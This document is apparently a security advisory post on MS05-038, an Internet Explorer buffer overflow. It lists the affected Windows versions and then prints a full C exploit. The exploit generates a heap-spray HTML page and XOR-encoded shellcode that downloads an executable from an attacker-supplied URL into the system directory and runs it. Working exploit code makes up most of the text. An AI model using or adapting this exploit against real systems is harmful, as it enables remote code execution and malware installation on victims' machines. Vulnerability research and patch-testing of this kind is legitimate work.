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Cumulative Security Update for Internet Explorer (MS05-038, Exploit)
------------------------------------------------------------------------
SUMMARY
A buffer overflow vulnerability within Internet Explorer allows attackers
to execute arbitrary code. The following exploit code can be used to test
your system for the mentioned vulnerability.
DETAILS
Vulnerable Systems:
* Microsoft Windows 2000 Service Pack 4
* Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service
Pack 2
* Microsoft Windows XP Professional x64 Edition
* Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service
Pack 1
* Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft
Windows Server 2003 with Service Pack 1 for Itanium-based Systems
* Microsoft Windows Server 2003 x64 Edition
* Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and
Microsoft Windows Millennium Edition (ME) Review the FAQ section of this
bulletin for details about these operating systems.
* Internet Explorer 5.01 Service Pack 4 on Microsoft Windows 2000 Service
Pack 4
* Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service
Pack 4 or on Microsoft Windows XP Service Pack 1
* Internet Explorer 6 for Microsoft Windows XP Service Pack 2 Download
the update
* Internet Explorer 6 for Microsoft Windows Server 2003 and Microsoft
Windows Server 2003 Service Pack 1
* Internet Explorer 6 for Microsoft Windows Server 2003 for Itanium-based
Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based
Systems
* Internet Explorer 6 for Microsoft Windows Server 2003 x64 Edition
* Internet Explorer 6 for Microsoft Windows XP Professional x64 Edition
* Internet Explorer 5.5 Service Pack 2 on Microsoft Windows Millennium
Edition Review the FAQ section of this bulletin for details about this
version.
* Internet Explorer 6 Service Pack 1 on Microsoft Windows 98, on
Microsoft Windows 98 SE.
Exploit:
/*+++++++++++++++++++++++++++++++++++++++++++++++
Ms05 038 exploit POC
Write By ZwelL
2005 8 11
http://www.donews.net/zwell
zwell at sohu.com
Some code belongs to Lion(cnhonker), regards to him.
This code tested on Windows 2003
-----------------------------------------------*/
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
// Use for find the ASM code
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
#define SEARCH_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN 8
#define MAX_SC_LEN 2048
#define HASH_KEY 13
// Define Decode Parameter
#define DECODE_LEN 21
#define SC_LEN_OFFSET 7
#define ENC_KEY_OFFSET 11
#define ENC_KEY 0xff
// Define Function Addr
#define ADDR_LoadLibraryA [esi]
#define ADDR_GetSystemDirectoryA [esi+4]
#define ADDR_WinExec [esi+8]
#define ADDR_ExitProcess [esi+12]
#define ADDR_URLDownloadToFileA [esi+16]
// Need functions
unsigned char functions[100][128] =
{ // [esi] stack layout
// kernel32 4 // 00 kernel32.dll
{"LoadLibraryA"}, // [esi]
{"GetSystemDirectoryA"}, // [esi+4]
{"WinExec"}, // [esi+8]
{"ExitProcess"}, // [esi+12]
// urlmon 1 // 01 urlmon.dll
{"URLDownloadToFileA"}, // [esi+16]
{""},
};
// Shellcode string
unsigned char sc[1024] = {0};
unsigned int Sc_len;
char *htmlbody1=
"<html><body>\r\n"
"<SCRIPT language=\"javascript\">\r\n"
"shellcode = unescape(\"%u4343%u4343\"+\"";
char *htmlbody2=
"\");\r\n"
"bigblock = unescape(\"%u0D0D%u0D0D\");\r\n"
"headersize = 20;\r\n"
"slackspace = headersize+shellcode.length;\r\n"
"while (bigblock.length<slackspace) bigblock+=bigblock;\r\n"
"fillblock = bigblock.substring(0, slackspace);\r\n"
"block = bigblock.substring(0, bigblock.length-slackspace);\r\n"
"while(block.length+slackspace<0x40000) block =
block+block+fillblock;\r\n"
"memory = new Array();\r\n"
"for (i=0;i<750;i++) memory[i] = block + shellcode;\r\n"
"</SCRIPT>\r\n"
"<object
classid=\"CLSID:083863F1-70DE-11d0-BD40-00A0C911CE86\"></object>\r\n"
"Ms05038 Exploit POC<br>\r\n"
"Made By ZwelL< http://www.donews.net/zwell>\r\n"
"</html>";
// ASM shellcode main function
void ShellCode();
// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
DWORD h = 0;
while ( *c )
{
__asm ror h, HASH_KEY
h += *c++;
}
return( h );
}
int buildfile(unsigned char *sc, int len)
{
int i;
char writebuf[4096];
char tmp[4096];
FILE *stream;
memset(tmp, 0, 4096);
memset(writebuf, 0, 4096);
for(i = 0; i < len; i++)
{
sprintf(writebuf, "%s%.2x", writebuf, sc[i] & 0xff);
}
if(strlen(writebuf)%4!=0)
strcat(writebuf, "00");
for(i=0; i<(strlen(writebuf)/4); i++)
{
strcat(tmp, "\%u");
strncat(tmp, &writebuf[i*4+2], 2);
strncat(tmp, &writebuf[i*4], 2);
}
//printf("%s\n", writebuf);
//printf("======================\n%s\n", tmp);
if( (stream = fopen( "zwell_ms05038.html", "w+b" )) != NULL )
{
fwrite(htmlbody1, strlen(htmlbody1), 1, stream);
fwrite( tmp, strlen(tmp), 1, stream );
fwrite(htmlbody2, strlen(htmlbody2), 1, stream);
fclose(stream);
}
else
{
printf("fopen wrong\n");
exit(0);
}
return 0;
}
void Make_ShellCode(char *url1)
{
unsigned char *pSc_addr;
unsigned int Enc_key=ENC_KEY;
unsigned long dwHash[100];
unsigned int dwHashSize;
int i,j,k,l;
// Get functions hash
//printf("[+] Get functions hash strings.\r\n");
for (i=0;;i++)
{
if (functions[i][0] == '\x0') break;
dwHash[i] = GetHash((char*)functions[i]);
//printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
}
dwHashSize = i*4;
// Deal with shellcode
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_SC_LEN;++k )
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
{
break;
}
}
pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode
for (k=0;k<MAX_SC_LEN;++k)
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
break;
}
}
Sc_len=k; // Length of the ShellCode
memcpy(sc, pSc_addr, Sc_len); // Copy shellcode to sc[]
// Add functions hash
memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
Sc_len += dwHashSize;
// Add url
memcpy(sc+Sc_len, url1, strlen(url1)+1);
Sc_len += strlen(url1)+1;
// Deal with find the right XOR byte
for(i=0xff; i>0; i--)
{
l = 0;
for(j=DECODE_LEN; j<Sc_len; j++)
{
if (
((sc[j] ^ i) == 0x26) || //%
((sc[j] ^ i) == 0x3d) || //=
((sc[j] ^ i) == 0x3f) || //?
((sc[j] ^ i) == 0x40) || //@
((sc[j] ^ i) == 0x00) ||
((sc[j] ^ i) == 0x0D) ||
((sc[j] ^ i) == 0x0A)
) // Define Bad Characters
{
l++; // If found the right XOR byte，l equals 0
break;
};
}
if (l==0)
{
Enc_key = i;
//printf("[+] Find XOR Byte: 0x%02X\n", i);
for(j=DECODE_LEN; j<Sc_len; j++)
{
sc[j] ^= Enc_key;
}
break; // If found the right XOR byte, Break
}
}
// Deal with not found XOR byte
if (l!=0)
{
printf("[-] No xor byte found!\r\n");
exit(-1);
}
// Deal with DeCode string
*(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
*(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;
printf("[+] download url:%s\n", url1);
}
int help()
{
printf("Usage : ms05038.exe url [-t] \n");
printf(" the 't' option will let you test for the shellcode
first\n");
exit(0);
}
void main(int argc, char **argv)
{
WSADATA wsa;
unsigned char url[255]={0};
BOOL b_test;
printf("\n========================================\n");
printf("Ms05-038 exploit POC\n");
printf("Write By Zwell\n");
printf("2005-8-11\n");
printf("http://www.donews.net/zwell\n");
printf("zwell@sohu.com\n");
printf("========================================\n\n");
b_test=FALSE;
if(argc<2)
help();
strncpy(url, argv[1], 255);
if(argc == 3)
if(!strcmp(argv[2], "-t"))
b_test = TRUE;
WSAStartup(MAKEWORD(2,2),&wsa);
Make_ShellCode(url);
printf("[+] Build shellcode successful\n");
buildfile(sc, Sc_len);
printf("[+] Build file successful\n");
printf("Now, you can open the builded file(zwell_ms05038.html)
with IE to see the result.Good Luck ^_^\n");
if(b_test)
{
printf("Testing the shellcode...\n");
((void (*)(void)) &sc)();
}
return;
}
// ShellCode function
void ShellCode()
{
__asm
{
PROC_BEGIN // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
jmp short decode_end
decode_start:
pop ebx // Decode start addr (esp -> ebx)
dec ebx
xor ecx,ecx
mov cl,0xFF // Decode len
decode_loop:
xor byte ptr [ebx+ecx],ENC_KEY // Decode key
loop decode_loop
jmp short decode_ok
decode_end:
call decode_start
decode_ok:
//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
jmp sc_end
sc_start:
pop edi // Hash string start addr (esp -> edi)
// Get kernel32.dll base addr
mov eax, fs:0x30 // PEB
mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
mov esi, [eax+0x1c] // InInitOrder.flink
lodsd // eax = InInitOrder.blink
mov ebp, [eax+8] // ebp = kernel32.dll base address
mov esi, edi // Hash string start addr -> esi
// Get function addr of kernel32
push 4
pop ecx
getkernel32:
call GetProcAddress_fun
loop getkernel32
// Get function addr of urlmon
push 0x00006e6f
push 0x6d6c7275 // urlmon
push esp
call ADDR_LoadLibraryA // LoadLibraryA("urlmon");
mov ebp, eax // ebp = urlmon.dll base address
/*
push 1
pop ecx
geturlmon:
call GetProcAddress_fun
loop geturlmon
*/
call GetProcAddress_fun
// url start addr = edi
//LGetSystemDirectoryA:
sub esp, 0x20
mov ebx, esp
push 0x20
push ebx
call ADDR_GetSystemDirectoryA // GetSystemDirectoryA
//LURLDownloadToFileA:
// eax = system path size
// URLDownloadToFileA url save to a.exe
mov dword ptr [ebx+eax], 0x652E615C // "\a.e"
mov dword ptr [ebx+eax+0x4], 0x00006578 // "xe"
xor eax, eax
push eax
push eax
push ebx // %systemdir%\a.exe
push edi // url
push eax
call ADDR_URLDownloadToFileA // URLDownloadToFileA
//LWinExec:
mov ebx, esp
push eax
push ebx
call ADDR_WinExec // WinExec(%systemdir%\a.exe);
Finished:
//push 1
call ADDR_ExitProcess // ExitProcess();
GetProcAddress_fun:
push ecx
push esi
mov esi, [ebp+0x3C] // e_lfanew
mov esi, [esi+ebp+0x78] // ExportDirectory RVA
add esi, ebp // rva2va
push esi
mov esi, [esi+0x20] // AddressOfNames RVA
add esi, ebp // rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, HASH_KEY // hash key
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] // compare to hash
jnz short find_start
pop esi // ExportDirectory
mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA
add ebx, ebp // rva2va
mov cx, [ebx+ecx*2] // FunctionOrdinal
mov ebx, [esi+0x1C] // AddressOfFunctions RVA
add ebx, ebp // rva2va
mov eax, [ebx+ecx*4] // FunctionAddress RVA
add eax, ebp // rva2va
stosd // function address save to [edi]
pop esi
pop ecx
ret
sc_end:
call sc_start
PROC_END //C macro to end proc
}
}
/* EOF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:zwell@sohu.com> zwell.
The original exploit can be found at:
<http://blog.donews.com/zwell/archive/2005/08/11/504349.aspx>
http://blog.donews.com/zwell/archive/2005/08/11/504349.aspx
The advisory can be found at:
<http://www.securiteam.com/windowsntfocus/5WP0C00GKS.html>
http://www.securiteam.com/windowsntfocus/5WP0C00GKS.html
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